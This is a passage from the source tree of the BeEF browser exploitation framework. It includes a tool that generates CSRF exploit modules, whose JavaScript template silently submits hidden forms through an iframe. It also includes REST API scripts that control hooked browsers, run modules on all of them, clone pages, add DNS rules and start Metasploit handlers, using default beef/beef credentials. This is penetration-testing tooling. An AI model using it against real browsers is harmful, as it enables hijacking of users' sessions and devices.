\"Invalid POST parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117\"\n                exit 1\n              end\n              input_name = HTMLEntities.new.decode(v)\n            when 'value'\n              input_value = HTMLEntities.new.decode(v)\n          end\n        end\n        unless input_name.nil?\n          options << [input_name, input_value]\n        end\n    end\n  end\n  return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options}\nend\n\n#\n# @note write module files to disk\n#\ndef write_module(target_url, method='GET', enctype, options)\n\n  # write module directory\n  print_status \"Making directory '#{@class_name}'\"\n  unless File.directory?(@class_name)\n    FileUtils.mkdir_p(@class_name)\n  end\n\n  # generate module config file and write 'config.yaml'\n  print_status \"Generating module config file '#{@class_name}/config.yaml'\"\n  cfg_file = ConfigFile.new.generate(@class_name)\n  print_debug cfg_file\n  File.open(\"#{@class_name}/config.yaml\", 'w') { |file| file.write(cfg_file) }\n\n  # generate module class file and write 'module.rb'\n  print_status \"Generating module class file '#{@class_name}/module.rb'\"\n  mod_file = ModuleFile.new.generate(@class_name, target_url, options)\n  print_debug mod_file\n  File.open(\"#{@class_name}/module.rb\", 'w') { |file| file.write(mod_file) }\n\n  # generate module javacript file and write 'command.js'\n  print_status \"Generating module javascript file '#{@class_name}/command.js'\"\n  com_file = CommandFile.new.generate(@class_name, method, enctype, options)\n  print_debug com_file\n  File.open(\"#{@class_name}/command.js\", 'w') { |file| file.write(com_file) }\n\n  print_good \"Complete!\"\n  print_status \"Now copy the '#{@class_name}' directory to the BeEF 'modules/exploits/' directory.\"\n  print_debug \"cp \\\"#{@class_name}\\\" ../../modules/exploits/ -R\"\n\nend\n\nmain(opts)\n\n"
  },
  {
    "path": "tools/csrf_to_beef/lib/module.rb",
    "content": "#\n# @note Module configuration file 'config.yaml'\n#\nclass ConfigFile\n  def generate(class_name)\n    return <<-EOF\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        #{class_name}:\n            enable: true\n            category: \"Exploits\"\n            name: \"#{class_name.capitalize}\"\n            description: \"#{class_name.capitalize}\"\n            authors: [\"BeEF\"]\n            target:\n                unknown: [\"ALL\"]\n    EOF\n  end\nend\n\n#\n# @note Module class file 'module.rb'\n#\nclass ModuleFile\n  def generate(class_name, target_url, options)\n    options_rb = \"\"\n    options.to_enum.with_index(1).each do |input, input_index|\n      options_rb += \"      { 'name' => 'input_#{input_index}', 'ui_label' => %q(#{input[0]}), 'value' => %q(#{input[1]}) },\\n\"\n    end\n    return <<-EOF\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass #{class_name.capitalize} < BeEF::Core::Command\n\n  def self.options\n    return [\n      { 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => %q(#{target_url}) },\n#{options_rb.chomp}\n    ]\n  end\n\n  def post_execute\n    save({'result' => @datastore['result']})\n  end\n\nend\n    EOF\n  end\nend\n\n#\n# @note Module javascript command file 'command.js'\n#\nclass CommandFile\n  def generate(class_name, method, enctype, options)\n    options_js = \"\"\n    options.to_enum.with_index(1).each do |input, input_index|\n      options_js += \"        {'type':'hidden', 'name':'#{input.first.to_s.gsub(/'/, \"\\\\'\")}', 'value':'<%= CGI.escape(@input_#{input_index}) %>' },\\n\"\n    end\n    return <<-EOF\n//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var target_url = '<%= @target_url.to_s.gsub(/'/, \"\\\\\\\\'\") %>'; \n  var timeout = 15;\n\n  exploit = function() {\n    var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, '#{method.to_s.gsub(/'/, \"\\\\'\")}', '#{enctype.to_s.gsub(/'/, \"\\\\'\")}',\n      [\n#{options_js.chomp}\n      ]);\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n  }\n\n  cleanup = function() {\n    try {\n      document.body.removeChild(#{class_name}_iframe_<%= @command_id %>);\n    } catch(e) {\n      beef.debug(\"Could not remove iframe: \" + e.message);\n    }\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n  try {\n    exploit();\n  } catch(e) {\n    beef.debug(\"Exploit failed: \" + e.message);\n  }\n\n});\n    EOF\n  end\nend\n\n"
  },
  {
    "path": "tools/csrf_to_beef/lib/output.rb",
    "content": "#\n# @note Add color to String object\n#\nclass String\n  def colorize(color_code)\n    \"\\e[#{color_code}m#{self}\\e[0m\"\n  end\n\n  {:red => 31,\n   :green => 32,\n   :yellow => 33,\n   :blue => 34,\n   :pink => 35,\n   :cyan => 36,\n   :white => 37\n  }.each { |color, code|\n    define_method(color) { colorize(code) }\n  }\nend\n\n#\n# @note handle output\n#\ndef print_status(msg='')\n  puts '[*] '.blue + msg\nend\n\ndef print_error(msg='')\n  puts '[!] '.red + \"Error: #{msg}\"\nend\n\ndef print_good(msg='')\n  puts '[+] '.green + msg\nend\n\ndef print_warning(msg='')\n  puts '[!] '.yellow + \"Warning: #{msg}\"\nend\n\ndef print_debug(msg='')\n  puts \"#{msg}\" if $VERBOSE\nend\n\n"
  },
  {
    "path": "tools/csrf_to_beef/sample.html",
    "content": "<html>\n<!-- CSRF PoC - generated by Burp Suite Professional -->\n<body>\n<form action=\"http://127.0.0.1/index.php?query=example\" method=\"POST\" enctype=\"multipart/form-data\">\n    <input type=\"hidden\" name=\"value1\" value=\"Example value #1\"/>\n    <input type=\"hidden\" name=\"value2\" value=\"Example value #2\"/>\n    <input type=\"hidden\" name=\"value3\" value=\"Example value #3\"/>\n    <input type=\"submit\" value=\"Submit request\"/>\n</form>\n</body>\n</html>\n\n"
  },
  {
    "path": "tools/maintenance/copyright_update.rb",
    "content": "require 'yaml'\nrequire 'logger'\n\n# Set up logging\n@log = Logger.new(STDOUT)\n@log.level = Logger::INFO\nlog_file = File.open('copyright_update.log', 'w')\n@log_file_logger = Logger.new(log_file)\n@log_file_logger.level = Logger::INFO\n\ndef update_copyright(file_path, copyright_pattern, new_copyright)\n  @log.info(\"Processing file: #{file_path}\")\n  @log_file_logger.info(\"Processing file: #{file_path}\")\n\n  content = File.read(file_path)\n  if content.empty?\n    @log.info(\"File is empty, no copyright update needed: #{file_path}\")\n    @log_file_logger.info(\"File is empty, no copyright update needed: #{file_path}\")\n  elsif content.match?(copyright_pattern)\n    updated_content = content.gsub(copyright_pattern, \"\\\\1#{new_copyright}\")\n    if updated_content != content\n      File.write(file_path, updated_content)\n      @log.info(\"Updated copyright in #{file_path}\")\n      @log_file_logger.info(\"Updated copyright in #{file_path}\")\n    end\n  else\n    @log.warn(\"Copyright pattern not found in #{file_path}\")\n    @log_file_logger.warn(\"Copyright pattern not found in #{file_path}\")\n  end\nrescue => e\n  @log.error(\"Error processing file #{file_path}: #{e.message}\")\n  @log_file_logger.error(\"Error processing file #{file_path}: #{e.message}\")\nend\n\n# Regex to match \"Copyright (c) 2006-YYYY\" or \"(C) 2006-YYYY\"\n# Captures the prefix so we can replace only the year part if needed, \n# or better yet, replace the whole match but preserve the \"Copyright (c)\" part.\ncopyright_pattern = /((?:Copyright \\(c\\) |\\(C\\) )2006-)20\\d{2}/\nnew_year = '2026'\n\nDir.glob(\"../../**/*.{rb,js,yaml,html,md,txt,css,c,nasm,java,php,as}\").each do |file|\n  next if File.basename(file) == 'copyright_update.rb'\n  update_copyright(file, copyright_pattern, new_year)\nend\n\n# Handle files without extensions, excluding copyright_update.rb\nDir.glob(\"../../**/*\").reject { |f| \n  File.directory?(f) || File.extname(f) != '' || File.basename(f) == 'copyright_update.rb'\n}.each do |file|\n  update_copyright(file, copyright_pattern, new_year)\nend\n\n@log.info(\"Copyright update process completed.\")\n@log_file_logger.info(\"Copyright update process completed.\")\nlog_file.close"
  },
  {
    "path": "tools/rest_api_examples/autorun",
    "content": "#!/usr/bin/env ruby\n# browser-details - Example BeEF RESTful API script\n# Retrieves all Autorun rules, adds a rule, runs it on all online browsers, then deletes it\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\nprint_status(\"Retrieving Autorun rules\")\nrules = @api.autorun_rules\nprint_debug(rules)\n\nprint_status(\"Adding a rule\")\n\nres = @api.autorun_add_rule({\n  \"name\": \"Say Hello\",\n  \"author\": \"REST API\",\n  \"modules\": [\n    {\n      \"name\": \"alert_dialog\",\n      \"options\": {\n        \"text\":\"Hello from REST API\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0]\n})\n\nprint_debug(res)\n\nrule_id = res['rule_id']\n\nunless rule_id.nil?\n  print_status \"Running rule #{rule_id} on all browsers\"\n  res = @api.autorun_run_rule_on_all_browsers(rule_id)\n  print_debug(res)\n\n  print_status(\"Deleting rule #{rule_id}\")\n  res = @api.autorun_delete_rule(rule_id)\n  print_debug(res)\nend\n"
  },
  {
    "path": "tools/rest_api_examples/browser-details",
    "content": "#!/usr/bin/env ruby\n# browser-details - Example BeEF RESTful API script\n# Retrieves browser details and logs for all online hooked browsers\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve online hooked browser list\nhooks = @api.online_browsers.flatten\nexit 1 if hooks.empty?\nprint_debug hooks\n\n# Retrieve hooked browser details\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving details for browser [id: #{hook['id']}]\"\n  details = @api.browser_details(hook['session'])\n  print_debug details\n  print_verbose \"Hooked Browser [id:#{hook['id']}, ip:#{hook['ip']}]:\\n#{details.map{|d| \"#{d['key']}: #{d['value']}\" }.flatten.join(\"\\n\")}\"\nend\n\n# Retrieve hooked browser logs\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving logs for browser [id: #{hook['id']}]\"\n  logs = @api.browser_logs(hook['session'])\n  print_debug logs\n  logs['logs'].each do |log|\n    next if log['id'].nil?\n    print_verbose \"#{log['date']} - #{log['event']}\"\n  end\nend\n\n"
  },
  {
    "path": "tools/rest_api_examples/clone_page",
    "content": "#!/usr/bin/env ruby\n# clone_page - Example BeEF RESTful API script\n# Clone a web page and mount it locally\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api' # API\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Clone http://localhost/ and mount to /\nurl = 'http://localhost/'\npath = '/'\nuse_existing = false\ndns_spoof = false\n@api.clone_page(url, path, use_existing, dns_spoof)\n\n"
  },
  {
    "path": "tools/rest_api_examples/command-modules",
    "content": "#!/usr/bin/env ruby\n# command-modules - Example BeEF RESTful API script\n# Retrieves module details and pops an alert dialog on all hooked browsers\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve module categories\nprint_debug @api.categories\n\n# Retrieve modules\nmodules = @api.modules.flatten\nexit 1 if modules.empty?\nprint_debug modules\n\n# Retrieve module details\nmodules.each do |m|\n  next if m['id'].nil?\n  print_status \"Retrieving module details [id: #{m['id']}]\"\n  details = @api.module_details(m['id'])\n  print_debug details\nend\n\n# Retrieve online hooked browser list\nhooks = @api.online_browsers.flatten\nexit 1 if hooks.empty?\nprint_debug hooks\n\n# Execute alert dialog on all online browsers\nmod_id = @api.get_module_id \"Alert_dialog\"\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Executing module [id: #{mod_id}, browser: #{hook['id']}]\"\n  result = @api.execute_module(hook['session'], mod_id, { \"text\" => \"hello!\" })\n  print_debug result\nend\n\n"
  },
  {
    "path": "tools/rest_api_examples/dns",
    "content": "#!/usr/bin/env ruby\n# dns - Example BeEF RESTful API script\n# Retrieves DNS rule set\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Add a rule\nprint_status \"Adding a DNS rule\"\npattern = 'beefproject.com'\nresource = 'A'\nresponse = ['127.0.0.1', '127.0.0.2']\nresult = @api.dns_add_rule(pattern, resource, response)\nprint_debug result\nid = result['id']\n\n# Retrieve ruleset\nprint_status \"Retrieving DNS rule set\"\nrules = @api.dns_ruleset\nprint_debug rules\n\n# Retrieve rule details\nprint_status \"Retrieving details for rule [id: #{id}]\"\nrule = @api.dns_get_rule(id)\nprint_debug rule\n\nprint_status \"Deleting rule [id: #{id}]\"\nresult = @api.dns_delete_rule(id)\nprint_debug result\n\n# Retrieve ruleset\nprint_status \"Retrieving DNS rule set\"\nrules = @api.dns_ruleset\nprint_debug rules\n\n"
  },
  {
    "path": "tools/rest_api_examples/export-logs",
    "content": "#!/usr/bin/env ruby\n# export-logs - Example BeEF RESTful API script\n# Retrieves BeEF logs and logs for all online hooked browsers\n# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API\n##\nrequire 'rest-client'\nrequire 'json'\nrequire 'optparse'\nrequire 'pp'\nrequire './lib/string' # colored strings\nrequire './lib/print'  # print wrappers\nrequire './lib/beef_rest_api'\n\nif ARGV.length == 0\n  puts \"#{$0}:\"\n  puts \"|  Example BeEF RESTful API script\"\n  puts \"|  Use --help for help\"\n  puts \"|_ Use verbose mode (-v) and debug mode (-d) for more output\"\n  exit 1\nend\n\n# API config\nproto = 'http'\nhost = '127.0.0.1'\nport = '3000'\nuser = 'beef'\npass = 'beef'\n\n# Command line options\n@debug = false\n@verbose = false\nOptionParser.new do |opts|\n  opts.on('-h', '--help', 'Shows this help screen') do\n    puts opts\n    exit 1\n  end\n  opts.on('--host HOST', \"Set BeEF host (default: #{host})\") do |h|\n    host = h\n  end\n  opts.on('--port PORT', \"Set BeEF port (default: #{port})\") do |p|\n    port = p\n  end\n  opts.on('--user USERNAME', \"Set BeEF username (default: #{user})\") do |u|\n    user = u\n  end\n  opts.on('--pass PASSWORD', \"Set BeEF password (default: #{pass})\") do |p|\n    pass = p\n  end\n  opts.on('--ssl', 'Use HTTPS') do\n    proto = 'https'\n  end\n  opts.on('-v', '--verbose', 'Enable verbose output') do\n    @verbose = true\n  end\n  opts.on('-d', '--debug', 'Enable debug output') do\n    @debug = true\n  end\nend.parse!\n\n@api = BeefRestAPI.new proto, host, port, user, pass\n\n# Retrieve the RESTful API token\nprint_status \"Authenticating to: #{proto}://#{host}:#{port}\"\n@api.auth\n\n# Retrieve BeEF version\n@api.version\n\n# Retrieve BeEF logs\nlogs = @api.logs\nprint_debug logs\nlogs['logs'].each do |log|\n  next if log['id'].nil?\n  print_verbose \"#{log['date']} - #{log['event']}\"\nend\n\n# Retrieve online hooked browser list\nhooks = @api.online_browsers.flatten\nexit 1 if hooks.empty?\nprint_debug hooks\n\n# Retrieve hooked browser logs\nhooks.each do |hook|\n  next if hook['id'].nil?\n  print_status \"Retrieving logs for browser [id: #{hook['id']}]\"\n  logs = @api.browser_logs(hook['session'])\n  print_debug logs\n  logs['logs'].each do |log|\n    next if log['id'].nil?\n    print_verbose \"#{log['date']} - #{log['event']}\"\n  end\nend\n\n"
  },
  {
    "path": "tools/rest_api_examples/lib/beef_rest_api.rb",
    "content": "class BeefRestAPI\n\n# initialize\ndef initialize proto = 'https', host = '127.0.0.1', port = '3000', user = 'beef', pass = 'beef'\n  @user = user\n  @pass = pass\n  @url = \"#{proto}://#{host}:#{port}/api/\"\n  @token = nil\nend\n\n################################################################################\n### BeEF core API\n################################################################################\n\n# authenticate and get API token\ndef auth\n  print_verbose \"Retrieving authentication token\"\n  begin\n  response = RestClient.post \"#{@url}admin/login\",\n    { 'username' => \"#{@user}\",\n      'password' => \"#{@pass}\" }.to_json,\n    :content_type => :json,\n    :accept => :json\n  result = JSON.parse(response.body)\n  @token = result['token']\n  print_good \"Retrieved RESTful API token: #{@token}\"\n  rescue => e\n    print_error \"Could not retrieve RESTful API token: #{e.message}\"\n  end\nend\n\n# get BeEF version\ndef version\n  begin\n    response = RestClient.get \"#{@url}server/version\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    print_good \"Retrieved BeEF version: #{result['version']}\"\n    result['version']\n  rescue => e\n    print_error \"Could not retrieve BeEF version: #{e.message}\"\n  end\nend\n\n# get server mounts\ndef mounts\n  begin\n    response = RestClient.get \"#{@url}server/mounts\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    print_good \"Retrieved BeEF server mounts: #{result['mounts']}\"\n    result['mounts']\n  rescue => e\n    print_error \"Could not retrieve BeEF version: #{e.message}\"\n  end\nend\n\n# get online hooked browsers\ndef online_browsers\n  begin\n    print_verbose \"Retrieving online browsers\"\n    response = RestClient.get \"#{@url}hooks\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    browsers = result[\"hooked-browsers\"][\"online\"]\n    print_good \"Retrieved online browser list [#{browsers.size} online]\"\n    browsers\n  rescue => e\n    print_error \"Could not retrieve browser details: #{e.message}\"\n  end\nend\n\n# get offline hooked browsers\ndef offline_browsers \n  begin\n    print_verbose \"Retrieving offline browsers\"\n    response = RestClient.get \"#{@url}hooks\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    browsers = result[\"hooked-browsers\"][\"offline\"]\n    print_good \"Retrieved offline browser list [#{browsers.size} offline]\"\n    browsers\n  rescue => e\n    print_error \"Could not retrieve browser details: #{e.message}\"\n  end\nend\n\n# get hooked browser details by session\ndef browser_details session\n  begin\n    print_verbose \"Retrieving browser details for hooked browser [session: #{session}]\"\n    response = RestClient.get \"#{@url}browserdetails/#{session}\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    details = result['details']\n    print_good \"Retrieved #{details.size} browser details\"\n    details\n  rescue => e\n    print_error \"Could not retrieve browser details: #{e.message}\"\n  end\nend\n\n# delete a browser by session\ndef delete_browser session\n  begin\n    print_verbose \"Removing hooked browser [session: #{session}]\"\n    response = RestClient.get \"#{@url}hooks/#{session}/delete\", {:params => {:token => @token}}\n    print_good \"Removed browser [session: #{session}]\" if response.code == 200\n    response\n  rescue => e\n    print_error \"Could not delete hooked browser: #{e.message}\"\n  end\nend\n\n# get BeEF logs\ndef logs\n  begin\n    print_verbose \"Retrieving logs\"\n    response = RestClient.get \"#{@url}logs\", {:params => {:token => @token}}\n    logs = JSON.parse(response.body)\n    print_good \"Retrieved #{logs['logs_count']} log entries\"\n    logs\n  rescue => e\n    print_error \"Could not retrieve logs: #{e.message}\"\n  end\nend\n\n# get hooked browser logs by session\ndef browser_logs session\n  begin\n    print_verbose \"Retrieving browser logs [session: #{session}]\"\n    response = RestClient.get \"#{@url}logs/#{session}\", {:params => {:token => @token}}\n    logs = JSON.parse(response.body)\n    print_good \"Retrieved #{logs['logs'].size} browser logs\"\n    logs\n  rescue => e\n    print_error \"Could not retrieve browser logs: #{e.message}\"\n  end\nend\n\n################################################################################\n### command module API\n################################################################################\n\n# get command module categories\ndef categories\n  begin\n    print_verbose \"Retrieving module categories\"\n    response = RestClient.get \"#{@url}categories\", {:params => {:token => @token}}\n    categories = JSON.parse(response.body)\n    print_good \"Retrieved #{categories.size} module categories\"\n    categories\n  rescue => e\n    print_error \"Could not retrieve logs: #{e.message}\"\n  end\nend\n\n# get command modules\ndef modules\n  begin\n    print_verbose \"Retrieving modules\"\n    response = RestClient.get \"#{@url}modules\", {:params => {:token => @token}}\n    @modules = JSON.parse(response.body)\n    print_good \"Retrieved #{@modules.size} available command modules\"\n    @modules\n  rescue => e\n    print_error \"Could not retrieve modules: #{e.message}\"\n  end\nend\n\n# get module id by module short name\ndef get_module_id mod_name\n  print_verbose \"Retrieving id for module [name: #{mod_name}]\"\n  @modules.each do |mod|\n    # normal modules\n    if mod_name.capitalize == mod[1][\"class\"]\n      return mod[1][\"id\"]\n      break\n      # metasploit modules\n    elsif mod[1][\"class\"] == \"Msf_module\" && mod_name.capitalize == mod[1][\"name\"]\n      return mod[1][\"id\"]\n      break\n    end\n  end\n  nil\nend\n\n# get command module details\ndef module_details id\n  begin\n    print_verbose \"Retrieving details for command module [id: #{id}]\"\n    response = RestClient.get \"#{@url}modules/#{id}\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved details for module [#{details['name']}]\"\n    details\n  rescue => e\n    print_error \"Could not retrieve modules: #{e.message}\"\n  end\nend\n\n# execute module\ndef execute_module session, mod_id, options\n  print_verbose \"Executing module [id: #{mod_id}, #{options}]\"\n  begin\n    response = RestClient.post \"#{@url}modules/#{session}/#{mod_id}?token=#{@token}\", options.to_json,\n      :content_type => :json,\n      :accept => :json\n    result = JSON.parse(response.body)\n    if result['success'] ==  'true'\n      print_good \"Executed module [id: #{mod_id}]\"\n    else\n      print_error \"Could not execute module [id: #{mod_id}]\"\n    end\n    result\n  rescue => e\n    print_error \"Could not start payload handler: #{e.message}\"\n  end\nend\n\n\n################################################################################\n### Metasploit API\n################################################################################\n\n# get metasploit version\ndef msf_version\n  begin\n    response = RestClient.get \"#{@url}msf/version\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    version = result['version']['version']\n    print_good \"Retrieved Metasploit version: #{version}\"\n    version\n  rescue => e\n    print_error \"Could not retrieve Metasploit version: #{e.message}\"\n  end\nend\n\n# get metasploit jobs\ndef msf_jobs\n  begin\n    response = RestClient.get \"#{@url}msf/jobs\", {:params => {:token => @token}}\n    result = JSON.parse(response.body)\n    jobs = result['jobs']\n    print_good \"Retrieved job list [#{jobs.size} jobs]\"\n    jobs\n  rescue => e\n    print_error \"Could not retrieve Metasploit job list: #{e.message}\"\n  end\nend\n\n# get metasploit job info\ndef msf_job_info id\n  begin\n    response = RestClient.get \"#{@url}msf/job/#{id}/info\", {:params => {:token => @token}}\n    details = JSON.parse(response.body)\n    print_good \"Retrieved job information [id: #{id}]\"\n    details\n  rescue => e\n    print_error \"Could not retrieve job info: #{e.message}\"\n  end\nend\n\n# start metasploit payload handler\ndef msf_handler options\n  print_verbose \"Starting Metasploit payload handler [#{options}]\"\n  begin\n    response = RestClient.post \"#{@url}msf/handler?token=#{@token}\", options.to_json,\n      :content_type => :json,\n      :accept => :json\n    result = 